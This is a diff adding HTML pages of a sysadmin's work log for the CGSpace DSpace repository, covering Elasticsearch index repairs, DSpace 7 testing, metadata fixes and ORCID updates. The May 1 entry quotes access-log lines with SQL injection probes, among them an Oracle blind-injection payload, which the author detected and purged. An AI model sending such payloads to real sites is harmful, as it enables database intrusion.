+yellow open openrxv-items-temp       kNUlupUyS_i7vlBGiuVxwg 1 1 103741 105553 483.6mb 483.6mb
+yellow open openrxv-items-final      HFc3uytTRq2GPpn13vkbmg 1 1    970      0   2.3mb   2.3mb
+
    +
  • The indices endpoint doesn’t include the openrxv-items alias, but it is currently in the openrxv-items-temp index so the number of items is the same:
    • +
+
$ curl -s 'http://localhost:9200/openrxv-items/_count?q=*&pretty'     
+{
+  "count" : 103741,
+  "_shards" : {
+    "total" : 1,
+    "successful" : 1,
+    "skipped" : 0,
+    "failed" : 0
+  }
+}
+
    +
  • A user was having problems resetting their password on CGSpace, with some message about SMTP etc +
      +
    • I checked and we are indeed locked out of our mailbox:
      • +
    +
    • +
+
$ dspace test-email
+...
+Error sending email:
+ - Error: javax.mail.SendFailedException: Send failure (javax.mail.AuthenticationFailedException: 550 5.2.1 Mailbox cannot be accessed [PR0P264CA0280.FRAP264.PROD.OUTLOOK.COM]
+)
+
+

2021-04-21

+
    +
  • Send Abdullah feedback on the filter on click pull request for OpenRXV +
      +
    • I see it adds a new “allow filter on click” checkbox in the layout settings, but it doesn’t modify the filters
      • +
    • Also, it seems to have broken the existing clicking of the countries on the map
      • +
    +
    • +
  • Atmire recently sent feedback about the CUA duplicates processor +
      +
    • Last month when I ran it it got stuck on the storage reports, apparently, so I will try again (with a fresh Solr statistics core from production) and skip the storage reports (-g):
      • +
    +
    • +
+
$ export JAVA_OPTS='-Dfile.encoding=UTF-8 -Xmx2048m'
+$ cp atmire-cua-update.xml-20210124-132112.old /home/dspacetest.cgiar.org/config/spring/api/atmire-cua-update.xml
+$ chrt -b 0 dspace dsrun com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdateCLI -r 100 -c statistics -t 12 -g
+
    +
  • The first run processed 1,439 docs, the second run processed 0 docs +
      +
    • I’m not sure if that means that it worked? I sent feedback to Atmire
      • +
    +
    • +
  • Meeting with Moayad to discuss OpenRXV development progress
    • +
+

2021-04-25

+
    +
  • The indexes on AReS are messed up again +
      +
    • I made a backup of the indexes, then deleted the openrxv-items-final and openrxv-items-temp indexes, re-created the openrxv-items alias, and restored the data into openrxv-items:
      • +
    +
    • +
+
$ elasticdump --input=http://localhost:9200/openrxv-items --output=/home/aorth/openrxv-items_mapping.json --type=mapping
+$ elasticdump --input=http://localhost:9200/openrxv-items --output=/home/aorth/openrxv-items_data.json --limit=1000 --type=data
+$ curl -XDELETE 'http://localhost:9200/openrxv-items-temp'
+$ curl -XDELETE 'http://localhost:9200/openrxv-items-final'
+$ elasticdump --input=/home/aorth/openrxv-items_mapping.json --output=http://localhost:9200/openrxv-items-final --type=mapping
+$ curl -s -X POST 'http://localhost:9200/_aliases' -H 'Content-Type: application/json' -d'{"actions" : [{"add" : { "index" : "openrxv-items-final", "alias" : "openrxv-items"}}]}'
+$ elasticdump --input=/home/aorth/openrxv-items_data.json --output=http://localhost:9200/openrxv-items --limit 1000 --type=data
+
    +
  • Then I started a fresh AReS harvest
    • +
+

2021-04-26

+
    +
  • The AReS harvest last night seems to have finished successfully and the number of items looks good:
    • +
+
$ curl -s http://localhost:9200/_cat/indices | grep openrxv-items
+yellow open openrxv-items-temp       H-CGsyyLTaqAj6-nKXZ-7w 1 1      0 0    283b    283b
+yellow open openrxv-items-final      ul3SKsa7Q9Cd_K7qokBY_w 1 1 103951 0   254mb   254mb
+
    +
  • And the aliases seem correct for once:
    • +
+
$ curl -s 'http://localhost:9200/_alias/' | python -m json.tool
+...
+    "openrxv-items-final": {
+        "aliases": {
+            "openrxv-items": {}
+        }
+    },
+    "openrxv-items-temp": {
+        "aliases": {}
+    },
+...
+
    +
  • That’s 250 new items in the index since the last harvest!
    • +
  • Re-create my local Artifactory container because I’m getting errors starting it and it has been a few months since it was updated:
    • +
+
$ podman rm artifactory
+$ podman pull docker.bintray.io/jfrog/artifactory-oss:latest
+$ podman create --ulimit nofile=32000:32000 --name artifactory -v artifactory_data:/var/opt/jfrog/artifactory -p 8081-8082:8081-8082 docker.bintray.io/jfrog/artifactory-oss
+$ podman start artifactory
+
    +
  • Start testing DSpace 7.0 Beta 5 so I can evaluate if it solves some of the problems we are having on DSpace 6, and if it’s missing things like multiple handle resolvers, etc +
      +
    • I see it needs Java JDK 11, Tomcat 9, Solr 8, and PostgreSQL 11
      • +
    • Also, according to the installation notes I see you can install the old DSpace 6 REST API, so that’s potentially useful for us
      • +
    • I see that all web applications on the backend are now rolled into just one “server” application
      • +
    • The build process took 11 minutes the first time (due to downloading the world with Maven) and ~2 minutes the second time
      • +
    • The local.cfg content and syntax is very similar DSpace 6
      • +
    +
    • +
  • I got the basic fresh_install up and running +
      +
    • Then I tried to import a DSpace 6 database from production
      • +
    +
    • +
  • I tried to delete all the Atmire SQL migrations:
    • +
+
localhost/dspace7b5= > DELETE FROM schema_version WHERE description LIKE '%Atmire%' OR description LIKE '%CUA%' OR description LIKE '%cua%';
+
    +
  • But I got an error when running dspace database migrate:
    • +
+
$ ~/dspace7b5/bin/dspace database migrate
+
+Database URL: jdbc:postgresql://localhost:5432/dspace7b5
+Migrating database to latest version... (Check dspace logs for details)
+Migration exception:
+java.sql.SQLException: Flyway migration error occurred
+        at org.dspace.storage.rdbms.DatabaseUtils.updateDatabase(DatabaseUtils.java:738)
+        at org.dspace.storage.rdbms.DatabaseUtils.updateDatabase(DatabaseUtils.java:632)
+        at org.dspace.storage.rdbms.DatabaseUtils.main(DatabaseUtils.java:228)
+        at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.base/java.lang.reflect.Method.invoke(Method.java:566)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:273)
+        at org.dspace.app.launcher.ScriptLauncher.handleScript(ScriptLauncher.java:129)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:94)
+Caused by: org.flywaydb.core.api.FlywayException: Validate failed: 
+Detected applied migration not resolved locally: 5.0.2017.09.25
+Detected applied migration not resolved locally: 6.0.2017.01.30
+Detected applied migration not resolved locally: 6.0.2017.09.25
+
+        at org.flywaydb.core.Flyway.doValidate(Flyway.java:292)
+        at org.flywaydb.core.Flyway.access$100(Flyway.java:73)
+        at org.flywaydb.core.Flyway$1.execute(Flyway.java:166)
+        at org.flywaydb.core.Flyway$1.execute(Flyway.java:158)
+        at org.flywaydb.core.Flyway.execute(Flyway.java:527)
+        at org.flywaydb.core.Flyway.migrate(Flyway.java:158)
+        at org.dspace.storage.rdbms.DatabaseUtils.updateDatabase(DatabaseUtils.java:729)
+        ... 9 more
+
    +
  • I deleted those migrations:
    • +
+
localhost/dspace7b5= > DELETE FROM schema_version WHERE version IN ('5.0.2017.09.25', '6.0.2017.01.30', '6.0.2017.09.25');
+
    +
  • Then when I ran the migration again it failed for a new reason, related to the configurable workflow:
    • +
+
Database URL: jdbc:postgresql://localhost:5432/dspace7b5
+Migrating database to latest version... (Check dspace logs for details)
+Migration exception:
+java.sql.SQLException: Flyway migration error occurred
+        at org.dspace.storage.rdbms.DatabaseUtils.updateDatabase(DatabaseUtils.java:738)
+        at org.dspace.storage.rdbms.DatabaseUtils.updateDatabase(DatabaseUtils.java:632)
+        at org.dspace.storage.rdbms.DatabaseUtils.main(DatabaseUtils.java:228)
+        at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.base/java.lang.reflect.Method.invoke(Method.java:566)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:273)
+        at org.dspace.app.launcher.ScriptLauncher.handleScript(ScriptLauncher.java:129)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:94)
+Caused by: org.flywaydb.core.internal.command.DbMigrate$FlywayMigrateException:
+Migration V7.0_2019.05.02__DS-4239-workflow-xml-migration.sql failed
+--------------------------------------------------------------------
+SQL State  : 42P01
+Error Code : 0
+Message    : ERROR: relation "cwf_pooltask" does not exist
+  Position: 8
+Location   : org/dspace/storage/rdbms/sqlmigration/postgres/V7.0_2019.05.02__DS-4239-workflow-xml-migration.sql (/home/aorth/src/apache-tomcat-9.0.45/file:/home/aorth/dspace7b5/lib/dspace-api-7.0-beta5.jar!/org/dspace/storage/rdbms/sqlmigration/postgres/V7.0_2019.05.02__DS-4239-workflow-xml-migration.sql)
+Line       : 16
+Statement  : UPDATE cwf_pooltask SET workflow_id='defaultWorkflow' WHERE workflow_id='default'
+...
+
+
$ ~/dspace7b5/bin/dspace database migrate ignored
+
    +
  • Now I see all migrations have completed and DSpace actually starts up fine!
    • +
  • I will try to do a full re-index to see how long it takes:
    • +
+
$ time ~/dspace7b5/bin/dspace index-discovery -b
+...
+~/dspace7b5/bin/dspace index-discovery -b  25156.71s user 64.22s system 97% cpu 7:11:09.94 total
+
    +
  • Not good, that shit took almost seven hours!
    • +
+

2021-04-27

+
    +
  • Peter sent me a list of 500+ DOIs from CGSpace with no Altmetric score +
      +
    • I used csvgrep (with Windows encoding!) to extract those without our handle and save the DOIs to a text file, then got their handles with my doi-to-handle.py script:
      • +
    +
    • +
+
$ csvgrep -e 'windows-1252' -c 'Handle.net IDs' -i -m '10568/' ~/Downloads/Altmetric\ -\ Research\ Outputs\ -\ CGSpace\ -\ 2021-04-26.csv | csvcut -c DOI | sed '1d' > /tmp/dois.txt
+$ ./ilri/doi-to-handle.py -i /tmp/dois.txt -o /tmp/handles.csv -db dspace63 -u dspace -p 'fuuu' -d
+
    +
  • He will Tweet them…
    • +
+

2021-04-28

+
    +
  • Grant some IWMI colleagues access to the Atmire Content and Usage stats on CGSpace
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2021-05/index.html b/docs/2021-05/index.html new file mode 100644 index 000000000..c44e7ae98 --- /dev/null +++ b/docs/2021-05/index.html @@ -0,0 +1,739 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + May, 2021 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

May, 2021

+

+ + in + Notes + + +

+
+

2021-05-01

+
    +
  • I looked at the top user agents and IPs in the Solr statistics for last month and I see these user agents: +
      +
    • “RI/1.0”, 1337
      • +
    • “Microsoft Office Word 2014”, 941
      • +
    +
    • +
  • I will add the RI/1.0 pattern to our DSpace agents overload and purge them from Solr (we had previously seen this agent with 9,000 hits or so in 2020-09), but I think I will leave the Microsoft Word one… as that’s an actual user…
    • +
+
    +
  • I should probably add the RI/1.0 pattern to COUNTER-Robots project
    • +
  • As well as these IPs: +
      +
    • 193.169.254.178, 21648
      • +
    • 181.62.166.177, 20323
      • +
    • 45.146.166.180, 19376
      • +
    +
    • +
  • The first IP seems to be in Estonia and their requests to the REST API change user agents from curl to Mac OS X to Windows and more +
      +
    • Also, they seem to be trying to exploit something:
      • +
    +
    • +
+
193.169.254.178 - - [21/Apr/2021:01:59:01 +0200] "GET /rest/collections/1179/items?limit=812&expand=metadata\x22%20and%20\x2221\x22=\x2221 HTTP/1.1" 400 5 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
+193.169.254.178 - - [21/Apr/2021:02:00:36 +0200] "GET /rest/collections/1179/items?limit=812&expand=metadata-21%2B21*01 HTTP/1.1" 200 458201 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
+193.169.254.178 - - [21/Apr/2021:02:00:36 +0200] "GET /rest/collections/1179/items?limit=812&expand=metadata'||lower('')||' HTTP/1.1" 400 5 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
+193.169.254.178 - - [21/Apr/2021:02:02:10 +0200] "GET /rest/collections/1179/items?limit=812&expand=metadata'%2Brtrim('')%2B' HTTP/1.1" 200 458209 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
+
    +
  • I will report the IP on abuseipdb.com and purge their hits from Solr
    • +
  • The second IP is in Colombia and is making thousands of requests for what looks like some test site:
    • +
+
181.62.166.177 - - [20/Apr/2021:22:48:42 +0200] "GET /rest/collections/d1e11546-c62a-4aee-af91-fd482b3e7653/items?expand=metadata HTTP/2.0" 200 123613 "http://cassavalighthousetest.org/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36"
+181.62.166.177 - - [20/Apr/2021:22:55:39 +0200] "GET /rest/collections/d1e11546-c62a-4aee-af91-fd482b3e7653/items?expand=metadata HTTP/2.0" 200 123613 "http://cassavalighthousetest.org/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36"
+
    +
  • But this site does not exist (yet?) +
      +
    • I will purge them from Solr
      • +
    +
    • +
  • The third IP is in Russia apparently, and the user agent has the pl-PL locale with thousands of requests like this:
    • +
+
45.146.166.180 - - [18/Apr/2021:16:28:44 +0200] "GET /bitstream/handle/10947/4153/.AAS%202014%20Annual%20Report.pdf?sequence=1%22%29%29%20AND%201691%3DUTL_INADDR.GET_HOST_ADDRESS%28CHR%28113%29%7C%7CCHR%28118%29%7C%7CCHR%28113%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%281691%3D1691%29%20THEN%201%20ELSE%200%20END%29%20FROM%20DUAL%29%7C%7CCHR%28113%29%7C%7CCHR%2898%29%7C%7CCHR%28122%29%7C%7CCHR%28120%29%7C%7CCHR%28113%29%29%20AND%20%28%28%22RKbp%22%3D%22RKbp&isAllowed=y HTTP/1.1" 200 918998 "http://cgspace.cgiar.org:80/bitstream/handle/10947/4153/.AAS 2014 Annual Report.pdf" "Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15"
+
    +
  • I will purge these all with my check-spider-ip-hits.sh script:
    • +
+
$ ./ilri/check-spider-ip-hits.sh -f /tmp/ips.txt -p
+Purging 21648 hits from 193.169.254.178 in statistics
+Purging 20323 hits from 181.62.166.177 in statistics
+Purging 19376 hits from 45.146.166.180 in statistics
+
+Total number of bot hits purged: 61347
+

2021-05-02

+
    +
  • Check the AReS Harvester indexes:
    • +
+
$ curl -s http://localhost:9200/_cat/indices | grep openrxv-items
+yellow open openrxv-items-temp       H-CGsyyLTaqAj6-nKXZ-7w 1 1      0 0    283b    283b
+yellow open openrxv-items-final      ul3SKsa7Q9Cd_K7qokBY_w 1 1 103951 0   254mb   254mb
+$ curl -s 'http://localhost:9200/_alias/' | python -m json.tool
+...
+    "openrxv-items-temp": {
+        "aliases": {}
+    },
+    "openrxv-items-final": {
+        "aliases": {
+            "openrxv-items": {}
+        }
+    },
+
    +
  • I think they look OK (openrxv-items is an alias of openrxv-items-final), but I took a backup just in case:
    • +
+
$ elasticdump --input=http://localhost:9200/openrxv-items --output=/home/aorth/openrxv-items_mapping.json --type=mapping
+$ elasticdump --input=http://localhost:9200/openrxv-items --output=/home/aorth/openrxv-items_data.json --type=data --limit=1000
+
    +
  • Then I started an indexing in the AReS Explorer admin dashboard
    • +
  • The indexing finished, but it looks like the aliases are messed up again:
    • +
+
$ curl -s http://localhost:9200/_cat/indices | grep openrxv-items
+yellow open openrxv-items-temp       H-CGsyyLTaqAj6-nKXZ-7w 1 1 104165 105024 487.7mb 487.7mb
+yellow open openrxv-items-final      d0tbMM_SRWimirxr_gm9YA 1 1    937      0   2.2mb   2.2mb
+

2021-05-05

+
    +
  • Peter noticed that we no longer display cg.link.reference on the item view +
      +
    • It seems that this got dropped accidentally when we migrated to dcterms.relation in CG Core v2
      • +
    • I fixed it in the 6_x-prod branch and told him it will be live soon
      • +
    +
    • +
+

2021-05-09

+
    +
  • I set up a clean DSpace 6.4 instance locally to test some things against, for example to be able to rule out whether some issues are due to Atmire modules or are fixed in the as-of-yet-unreleased DSpace 6.4 +
      +
    • I had to delete all the Atmire schemas, then it worked fine on Tomcat 8.5 with Mirage (I didn’t want to bother with npm and ruby for Mirage 2)
      • +
    • Then I tried to see if I could reproduce the mapping issue that Marianne raised last month +
        +
      • I tried unmapping and remapping to the CGIAR Gender grants collection and the collection appears in the item view’s list of mapped collections, but not on the collection browse itself
        • +
      • Then I tried mapping to a new collection and it was the same as above
        • +
      • So this issue is really just a DSpace bug, and nothing to do with Atmire and not fixed in the unreleased DSpace 6.4
        • +
      • I will try one more time after updating the Discovery index (I’m also curious how fast it is on vanilla DSpace 6.4, though I think I tried that when I did the flame graphs in 2019 and it was miserable)
        • +
      +
      • +
    +
    • +
+
$ time ~/dspace64/bin/dspace index-discovery -b
+~/dspace64/bin/dspace index-discovery -b  4053.24s user 53.17s system 38% cpu 2:58:53.83 total
+
    +
  • Nope! Still slow, and still no mapped item… +
      +
    • I even tried unmapping it from all collections, and adding it to a single new owning collection…
      • +
    +
    • +
  • Ah hah! Actually, I was inspecting the item’s authorization policies when I noticed that someone had made the item private! +
      +
    • After making it public again I was able to see it in the target collection
      • +
    +
    • +
  • The indexes on AReS Explorer are messed up after last week’s harvesting:
    • +
+
$ curl -s http://localhost:9200/_cat/indices | grep openrxv-items
+yellow open openrxv-items-temp       H-CGsyyLTaqAj6-nKXZ-7w 1 1 104165 105024 487.7mb 487.7mb
+yellow open openrxv-items-final      d0tbMM_SRWimirxr_gm9YA 1 1    937      0   2.2mb   2.2mb
+
+$ curl -s 'http://localhost:9200/_alias/' | python -m json.tool
+...
+    "openrxv-items-final": {
+        "aliases": {}
+    },
+    "openrxv-items-temp": {
+        "aliases": {
+            "openrxv-items": {}
+        }
+    }
+
    +
  • openrxv-items should be an alias of openrxv-items-final…
    • +
  • I made a backup of the temp index and then started indexing on the AReS Explorer admin dashboard:
    • +
+
$ curl -X PUT "localhost:9200/openrxv-items-temp/_settings" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": true}}'
+$ curl -s -X POST http://localhost:9200/openrxv-items-temp/_clone/openrxv-items-temp-backup
+$ curl -X PUT "localhost:9200/openrxv-items-temp/_settings" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": false}}'
+

2021-05-10

+
    +
  • Amazing, the harvesting on AReS finished but it messed up all the indexes and now there are no items in any index!
    • +
+
$ curl -s http://localhost:9200/_cat/indices | grep openrxv-items
+yellow open openrxv-items-temp        8thRX0WVRUeAzmd2hkG6TA 1 1      0     0    283b    283b
+yellow open openrxv-items-temp-backup _0tyvctBTg2pjOlcoVP1LA 1 1 104165 20134 305.5mb 305.5mb
+yellow open openrxv-items-final       BtvV9kwVQ3yBYCZvJS1QyQ 1 1      0     0    283b    283b
+
    +
  • I fixed the indexes manually by re-creating them and cloning from the backup:
    • +
+
$ curl -XDELETE 'http://localhost:9200/openrxv-items-final'
+$ curl -X PUT "localhost:9200/openrxv-items-temp-backup/_settings" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": true}}'
+$ curl -s -X POST http://localhost:9200/openrxv-items-temp-backup/_clone/openrxv-items-final
+$ curl -s -X POST 'http://localhost:9200/_aliases' -H 'Content-Type: application/json' -d'{"actions" : [{"add" : { "index" : "openrxv-items-final", "alias" : "openrxv-items"}}]}'
+$ curl -XDELETE 'http://localhost:9200/openrxv-items-temp-backup'
+
    +
  • Also I ran all updated on the server and updated all Docker images, then rebooted the server (linode20):
    • +
+
$ docker images | grep -v ^REPO | sed 's/ \+/:/g' | cut -d: -f1,2 | xargs -L1 docker pull
+
    +
  • I backed up the AReS Elasticsearch data using elasticdump, then started a new harvest:
    • +
+
$ elasticdump --input=http://localhost:9200/openrxv-items --output=/home/aorth/openrxv-items_mapping.json --type=mapping
+$ elasticdump --input=http://localhost:9200/openrxv-items --output=/home/aorth/openrxv-items_data.json --type=data --limit=1000
+
    +
  • Discuss CGSpace statistics with the CIP team +
      +
    • They were wondering why their numbers for 2020 were so low
      • +
    • I checked their community using the DSpace Statistics API and found very accurate numbers for 2020 and 2019 for them
      • +
    • I think they had been using AReS, which actually doesn’t even give stats for a time period…
      • +
    +
    • +
+

2021-05-11

+
    +
  • The AReS harvesting from yesterday finished, but the indexes are messed up again so I will have to fix them again before I harvest next time
    • +
  • I also spent some time looking at IWMI’s reports again +
      +
    • On AReS we don’t have a way to group by peer reviewed or item type other than doing “if type is Journal Article”
      • +
    • Also, we don’t have a way to check the IWMI Strategic Priorities because those are communities, not metadata…
      • +
    • We can get the collections an item is in from the parentCollectionList metadata, but it is saved in Elasticsearch as a string instead of a list…
      • +
    • I told them it won’t be possible to replicate their reports exactly
      • +
    +
    • +
  • I decided to look at the CLARISA controlled vocabularies again +
      +
    • They now have 6,200 institutions (was around 3,400 when I last looked in 2020-07)
      • +
    • They have updated their Swagger interface but it still requires an API key if you want to use it from curl
      • +
    • They have ISO 3166 countries and UN M.49 regions, but I notice they have some weird names like “Russian Federation (the)”, which is not in ISO 3166 as far as I can see
      • +
    • I exported a list of the institutions to look closer +
        +
      • I found twelve items with whitespace issues
        • +
      • There are some weird entries like Research Institute for Aquaculture No1 and Research Institute for Aquaculture No2
        • +
      • A few items have weird Unicode characters like U+00AD, U+200B, and U+00A0
        • +
      • I found 100+ items with multiple languages in there name like Ministère de l’Agriculture, de la pêche et des ressources hydrauliques / Ministry of Agriculture, Hydraulic Resources and Fisheries
        • +
      • Over 600 institutions have the country in their name like Ministry of Coordination of Environmental Affairs (Mozambique)
        • +
      • For URLs they have null in some places… which is weird… why not just leave it blank?
        • +
      +
      • +
    +
    • +
  • I checked the CLARISA list against ROR’s April, 2020 release (“Version 9”, on figshare, though it is version 8 in the dump):
    • +
+
$ ./ilri/ror-lookup.py -i /tmp/clarisa-institutions.txt -r ror-data-2021-04-06.json -o /tmp/clarisa-ror-matches.csv
+$ csvgrep -c matched -m 'true' /tmp/clarisa-ror-matches.csv | sed '1d' | wc -l
+1770
+
    +
  • With 1770 out of 6230 matched, that’s 28.5%…
    • +
  • I sent an email to Hector Tobon to point out the issues in CLARISA again and ask him to chat
    • +
  • Meeting with GARDIAN developers about CG Core and how GARDIAN works
    • +
+

2021-05-13

+
    +
  • Fix a few thousand IWMI URLs that are using HTTP instead of HTTPS on CGSpace:
    • +
+
localhost/dspace63= > UPDATE metadatavalue SET text_value = REGEXP_REPLACE(text_value, 'http://www.iwmi.cgiar.org','https://www.iwmi.cgiar.org', 'g') WHERE text_value LIKE 'http://www.iwmi.cgiar.org%' AND metadata_field_id=219;
+UPDATE 1132
+localhost/dspace63= > UPDATE metadatavalue SET text_value = REGEXP_REPLACE(text_value, 'http://publications.iwmi.org','https://publications.iwmi.org', 'g') WHERE text_value LIKE 'http://publications.iwmi.org%' AND metadata_field_id=219;
+UPDATE 1803
+
    +
  • In the case of the latter, the HTTP links don’t even work! The web server returns HTTP 404 unless the request is HTTPS
    • +
  • IWMI also says that their subjects are a subset of AGROVOC so they no longer want to use cg.subject.iwmi for their subjects +
      +
    • They asked if I can move them to dcterms.subject
      • +
    +
    • +
  • Delete two items for Udana because he was getting the “Authorization denied for action OBSOLETE (DELETE) …” error when trying to delete them (DSpace 6 bug I found a few months ago) + +
    • +
+

2021-05-14

+
    +
  • I updated the PostgreSQL JDBC driver in the Ansible playbooks to version 42.2.20 and deployed it on DSpace Test (linode26)
    • +
+

2021-05-15

+
    +
  • I have to fix the Elasticsearch indexes on AReS after last week’s harvesting because, as always, the openrxv-items index should be an alias of openrxv-items-final instead of openrxv-items-temp:
    • +
+
$ curl -s 'http://localhost:9200/_alias/' | python -m json.tool
+    "openrxv-items-final": {
+        "aliases": {}
+    },
+    "openrxv-items-temp": {
+        "aliases": {
+            "openrxv-items": {}
+        }
+    },
+...
+
    +
  • I took a backup of the openrxv-items index with elasticdump so I can re-create them manually before starting a new harvest tomorrow:
    • +
+
$ elasticdump --input=http://localhost:9200/openrxv-items --output=/home/aorth/openrxv-items_mapping.json --type=mapping
+$ elasticdump --input=http://localhost:9200/openrxv-items --output=/home/aorth/openrxv-items_data.json --type=data --limit=1000
+

2021-05-16

+
    +
  • I deleted and re-created the Elasticsearch indexes on AReS:
    • +
+
$ curl -XDELETE 'http://localhost:9200/openrxv-items-final'
+$ curl -XDELETE 'http://localhost:9200/openrxv-items-temp'
+$ curl -XPUT 'http://localhost:9200/openrxv-items-final'
+$ curl -XPUT 'http://localhost:9200/openrxv-items-temp'
+$ curl -s -X POST 'http://localhost:9200/_aliases' -H 'Content-Type: application/json' -d'{"actions" : [{"add" : { "index" : "openrxv-items-final", "alias" : "openrxv-items"}}]}'
+
    +
  • Then I re-imported the backup that I created with elasticdump yesterday:
    • +
+
$ elasticdump --input=/home/aorth/openrxv-items_mapping.json --output=http://localhost:9200/openrxv-items-final --type=mapping
+$ elasticdump --input=/home/aorth/openrxv-items_data.json --output=http://localhost:9200/openrxv-items-final --type=data --limit=1000 
+
    +
  • Then I started a new harvest on AReS
    • +
+

2021-05-17

+
    +
  • The AReS harvest finished and the Elasticsearch indexes seem OK so I shouldn’t have to fix them next time…
    • +
+
$ curl -s http://localhost:9200/_cat/indices | grep openrxv-items
+yellow open openrxv-items-temp       o3ijJLcyTtGMOPeWpAJiVA 1 1      0 0    283b    283b
+yellow open openrxv-items-final      TrJ1Ict3QZ-vFkj-4VcAzw 1 1 104317 0 259.4mb 259.4mb
+$ curl -s 'http://localhost:9200/_alias/' | python -m json.tool
+    "openrxv-items-temp": {
+        "aliases": {}
+    },
+    "openrxv-items-final": {
+        "aliases": {
+            "openrxv-items": {}
+        }
+    },
+...
+
    +
  • Abenet said she and some others can’t log into CGSpace +
      +
    • I tried to check the CGSpace LDAP account and it does seem to be not working:
      • +
    +
    • +
+
$ ldapsearch -x -H ldaps://AZCGNEROOT2.CGIARAD.ORG:636/ -b "dc=cgiarad,dc=org" -D "cgspace-ldap@cgiarad.org" -W "(sAMAccountName=aorth)"
+Enter LDAP Password: 
+ldap_bind: Invalid credentials (49)
+        additional info: 80090308: LdapErr: DSID-0C090453, comment: AcceptSecurityContext error, data 532, v3839
+
    +
  • I sent a message to Biruk so he can check the LDAP account
    • +
  • IWMI confirmed that they do indeed want to move all their subjects to AGROVOC, so I made the changes in the XMLUI and config (#467) +
      +
    • Then I used the migrate-fields.sh script to move them (46,000 metadata entries!)
      • +
    +
    • +
  • I tested Abdullah’s latest pull request to add clickable filters to AReS and I think it works +
      +
    • I had some issues with my local AReS installation so I was only able to do limited testing…
      • +
    • I will have to wait until I have more time to test before I can merge that
      • +
    +
    • +
  • CCAFS asked me to add eight more phase II project tags to the CGSpace input form +
      +
    • I extracted the existing ones using xmllint, added the new ones, sorted them, and then replaced them in input-forms.xml:
      • +
    +
    • +
+
$ xmllint --xpath '//value-pairs[@value-pairs-name="ccafsprojectpii"]/pair/stored-value/node()' dspace/config/input-forms.xml
+
    +
  • I formatted the input file with tidy, especially because one of the new project tags has an ampersand character… grrr:
    • +
+
$ tidy -xml -utf8 -m -iq -w 0 dspace/config/input-forms.xml      
+line 3658 column 26 - Warning: unescaped & or unknown entity "&WA_EU-IFAD"
+line 3659 column 23 - Warning: unescaped & or unknown entity "&WA_EU-IFAD"
+
    +
  • After testing whether this escaped value worked during submission, I created and merged a pull request to 6_x-prod (#468)
    • +
+

2021-05-18

+
    +
  • Paola from the Alliance emailed me some new ORCID identifiers to add to CGSpace
    • +
  • I saved the new ones to a text file, combined them with the others, extracted the ORCID iDs themselves, and updated the names using resolve-orcids.py:
    • +
+
$ cat ~/src/git/DSpace/dspace/config/controlled-vocabularies/cg-creator-identifier.xml /tmp/new | grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' | sort | uniq > /tmp/2021-05-18-combined.txt
+$ ./ilri/resolve-orcids.py -i /tmp/2021-05-18-combined.txt -o /tmp/2021-05-18-combined-names.txt
+
    +
  • I sorted the names and added the XML formatting in vim, then ran it through tidy:
    • +
+
$ tidy -xml -utf8 -m -iq -w 0 dspace/config/controlled-vocabularies/cg-creator-identifier.xml
+
    +
  • Tag fifty-five items from the Alliance’s new authors with ORCID iDs using add-orcid-identifiers-csv.py:
    • +
+
$ cat 2021-05-18-add-orcids.csv 
+dc.contributor.author,cg.creator.identifier
+"Urioste Daza, Sergio",Sergio Alejandro Urioste Daza: 0000-0002-3208-032X
+"Urioste, Sergio",Sergio Alejandro Urioste Daza: 0000-0002-3208-032X
+"Villegas, Daniel",Daniel M. Villegas: 0000-0001-6801-3332
+"Villegas, Daniel M.",Daniel M. Villegas: 0000-0001-6801-3332
+"Giles, James",James Giles: 0000-0003-1899-9206
+"Simbare,  Alice",Alice Simbare: 0000-0003-2389-0969
+"Simbare, Alice",Alice Simbare: 0000-0003-2389-0969
+"Simbare, A.",Alice Simbare: 0000-0003-2389-0969
+"Dita Rodriguez, Miguel",Miguel Angel Dita Rodriguez: 0000-0002-0496-4267
+"Templer, Noel",Noel Templer: 0000-0002-3201-9043
+"Jalonen, R.",Riina Jalonen: 0000-0003-1669-9138
+"Jalonen, Riina",Riina Jalonen: 0000-0003-1669-9138
